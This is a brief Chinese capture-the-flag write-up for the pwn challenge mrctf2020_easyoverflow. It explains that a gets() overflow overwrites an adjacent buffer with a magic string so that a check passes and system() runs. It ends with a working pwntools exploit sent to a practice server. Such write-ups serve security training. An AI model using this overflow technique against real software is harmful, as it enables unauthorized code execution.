mrctf2020_easyoverflow

1,三连
mrctf2020_easyoverflow_第1张图片
2,IDA
mrctf2020_easyoverflow_第2张图片分析:gets(v4)溢出点,check(v5)=1则执行system();

mrctf2020_easyoverflow_第3张图片

分析:a1=v5,check(v5)=1的前提是for循环正常退出,即v5=n0t_r3@11y_f1@g

思路:通过v4溢出覆盖控制v5。
满足条件原因:
mrctf2020_easyoverflow_第4张图片填充长度0x30:
mrctf2020_easyoverflow_第5张图片
3,poc

from pwn import *
context.log_level="debug"

r=remote("node4.buuoj.cn",28803)
payload='a'*0x30+"n0t_r3@11y_f1@g"
r.sendline(payload)
r.interactive()

你可能感兴趣的:(PWN,pwn)